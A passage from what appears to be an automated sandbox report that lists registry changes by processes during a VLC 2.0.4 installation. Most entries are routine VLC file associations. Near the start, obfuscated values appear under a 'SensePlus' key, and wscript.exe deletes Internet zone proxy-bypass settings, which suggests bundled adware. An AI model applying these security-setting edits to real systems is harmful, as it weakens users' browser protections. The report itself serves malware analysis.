[HKLM\SOFTWARE\Wow6432Node\SensePlus\kOh3UM0sElMiqev3yfmeSQG kIDfQMrDtUUKdBeZQFYRDn 4vqALxCRhdjVUQuH02yH41TJV1E8pqvbhPOggZ5Ln6qV98SgznqY9yJY5JtWQyQOBj2KP1Oo6KStyL37EiRvGTGPJMEDJGk0 f2wuncrPpvLrepeO3UC8nxb/hJI=]
"EjBZWTgzCSYnv0us2GklJd9kak/HonX7GcA9biIxImj2lk6xB/XpnoQzpEobQ4Di8Cm5mO7lN2MCHfl3qtk13f Lwvu9/2Bbl/41z66wiep4fCgs4UOAaD1Gu1t4uL/m lEmLwy3igXug1J0xltFV0VByOF7d2Q6l5XweQi9vIs=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process wscript.exe:2552 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process vlc-2.0.4-win32.exe:1900 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp4" = ""

[HKCR\VLC.aiff\shell]
"(Default)" = "Open"

[HKCR\VLC.ifo\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.dv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\shell]
"(Default)" = "Open"

[HKCR\VLC.m2ts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.wmv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m2v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m3u8\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.tta\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.caf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.adt\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mts\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpv2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xm\shell]
"(Default)" = "Open"

[HKCR\VLC.avi\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ac3\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.spx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder\shell]
"(Default)" = "Open"

[HKCR\VLC.qcp]
"(Default)" = "VLC media file (.qcp)"

[HKCR\VLC.cue\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vob\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mov" = "VLC.mov"

[HKCR\VLC.vlc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cue\shell]
"(Default)" = "Open"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\Version]
"(Default)" = "1.0"

[HKCR\VLC.drc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ifo\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gpp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.amr]
"(Default)" = "VLC.amr"

[HKCR\VLC.wma\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".PLS" = ""

[HKCR\VLC.ogv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.asx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".APE" = ""

[HKCR\VLC.mpe\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.xspf\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".a52" = "VLC.a52"

[HKCR\VLC.qcp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.adt\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.snd\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".CDA" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rec" = "VLC.rec"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}]
"(Default)" = "IVLCLogo"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"Version" = "1.0"

[HKCR\.sdp]
"(Default)" = "VLC.sdp"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\楖敤䱯乁嘮䍌汐杵湩.2]
"(Default)" = "䱖⁃捁楴敶⁘汐杵湩愠摮䤠⁅敗⁢汐杵湩 v2"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.m2t\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.b4s\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64]
"(Default)" = "VLC media file (.w64)"

[HKCR\VLC.adts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.voc]
"(Default)" = "VLC media file (.voc)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mxf" = ""

[HKCR\VLC.qcp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe"

[HKCR\VLC.divx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Applications\vlc.exe]
"FriendlyAppName" = "VLC media player"

[HKCR\VLC.mpc\shell]
"(Default)" = "Open"

[HKCR\.qcp]
"(Default)" = "VLC.qcp"

[HKCR\VLC.nsv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.adts\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".qcp" = ""

[HKCR\VLC.nsv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.rmi\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.ogg]
"(Default)" = "VLC.ogg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"Action" = "Play DVD movie"

[HKCR\VLC.avi\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mxf\shell]
"(Default)" = "Open"

[HKCR\VLC.xspf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.avi\shell]
"(Default)" = "Open"

[HKCR\VLC.mid\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"URLInfoAbout" = "http://www.videolan.org/"

[HKCR\VLC.ts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2t]
"(Default)" = "VLC media file (.m2t)"

[HKCR\VLC.mp3\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m3u8\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mxf]
"(Default)" = "VLC.mxf"

[HKCR\VLC.ogm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m1v" = ""

[HKCR\VLC.snd\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.au\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.caf]
"(Default)" = "VLC media file (.caf)"

[HKCR\VLC.wma\shell\Open]
"(Default)" = "Play"

[HKCR\.mp3]
"(Default)" = "VLC.mp3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.mp2v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}]
"(Default)" = "䱖⁃捁楴敶⁘汐杵湩愠摮䤠⁅敗⁢汐杵湩 v1"

[HKCR\VLC.it\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.f4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.VCDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.wav\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.flac\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m4p\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.VCDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file vcd:///%1"

[HKCR\VLC.m3u8\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.aif\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\FLAGS]
"(Default)" = "0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".bin" = "VLC.bin"

[HKCR\VLC.oga\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.m2v]
"(Default)" = "VLC.m2v"

[HKCR\VLC.mlp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.dts]
"(Default)" = "VLC.dts"

[HKCR\.wma]
"(Default)" = "VLC.wma"

[HKCR\VLC.xspf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.flac]
"(Default)" = "VLC.flac"

[HKCR\VLC.mpe\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}]
"(Default)" = "IVLCPlaylist"

[HKCR\.mpeg2]
"(Default)" = "VLC.mpeg2"

[HKCR\VLC.m3u\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aac\shell\Open]
"(Default)" = "Play"

[HKCR\.ts]
"(Default)" = "VLC.ts"

[HKCR\VLC.flv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mod\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".AC3" = ""

[HKCR\VLC.tts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.w64\shell]
"(Default)" = "Open"

[HKCR\Directory\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.wv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mkv" = ""

[HKCR\VLC.cda\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mtv]
"(Default)" = "VLC.mtv"

[HKCR\VLC.mtv\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".AAC" = "VLC.aac"

[HKCR\VLC.vob\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mka" = ""

[HKCR\VLC.mlp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u8\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2v\shell]
"(Default)" = "Open"

[HKCR\VLC.bin\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aifc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.nsv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.CDAudio]
"(Default)" = "VLC CD Audio"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.ifo\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4a\shell]
"(Default)" = "Open"

[HKCR\VLC.m4p]
"(Default)" = "VLC media file (.m4p)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MOD" = "VLC.mod"

[HKCR\Applications\vlc.exe\SupportedTypes]
".tod" = ""

[HKCR\VLC.mp2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.au]
"(Default)" = "VLC media file (.au)"

[HKCR\VLC.rmi\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.snd]
"(Default)" = "VLC media file (.snd)"

[HKCR\VLC.xspf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}]
"(Default)" = "IVLCMarquee"

[HKCR\VLC.asf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mtv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.flv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.SVCDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aob\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3g2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.a52\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aac]
"(Default)" = "VLC.aac"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.w64\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\.rmvb]
"(Default)" = "VLC.rmvb"

[HKCR\VLC.wav\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".TTA" = "VLC.tta"

[HKCR\VLC.rmvb\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.ogm]
"(Default)" = "VLC.ogm"

[HKCR\VLC.mpeg4\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.divx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".tts" = "VLC.tts"

[HKCR\.rm]
"(Default)" = "VLC.rm"

[HKCR\.ram]
"(Default)" = "VLC.ram"

[HKCR\VLC.dts]
"(Default)" = "VLC media file (.dts)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rm" = "VLC.rm"

[HKCR\VLC.m4a\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.vlc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpeg4\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ape\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpeg2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adt\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.bin\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"Action" = "Play audio CD"

[HKCR\VLC.snd\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".wma" = ""

[HKCR\VLC.aif\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3gp]
"(Default)" = "VLC.3gp"

[HKCR\VLC.vob\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\.ac3]
"(Default)" = "VLC.ac3"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}]
"(Default)" = "IVLCPlaylistItems"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M4A" = "VLC.m4a"

[HKCR\VLC.vob\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpeg1\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aifc" = ""
".aiff" = ""

[HKCR\VLC.dv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m4p" = "VLC.m4p"

[HKCR\VLC.m4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ts" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m4v" = "VLC.m4v"

[HKCR\VLC.mpv2\shell]
"(Default)" = "Open"

[HKCR\VLC.voc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".dts" = "VLC.dts"

[HKCR\VLC.tts]
"(Default)" = "VLC media file (.tts)"

[HKCR\VLC.avi\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.ac3\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ram\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m3u\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpv2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.wv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.cda]
"(Default)" = "VLC.cda"

[HKCR\VLC.pls\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".FLAC" = "VLC.flac"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.caf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.gxf]
"(Default)" = "VLC media file (.gxf)"

[HKCR\VLC.m2ts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.webm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0]
"(Default)" = "VideoLAN VLC ActiveX Plugin"

[HKCR\VLC.tod\shell\Open]
"(Default)" = "Play"

[HKCR\.m2t]
"(Default)" = "VLC.m2t"

[HKCR\VLC.ogg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2t\shell]
"(Default)" = "Open"

[HKCR\VLC.3ga\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.vro\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}]
"(Default)" = "DVLCEvents"

[HKCR\VLC.vlc]
"(Default)" = "VLC media file (.vlc)"

[HKCR\VLC.webm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.sdp\shell\AddToPlaylistVLC\command]
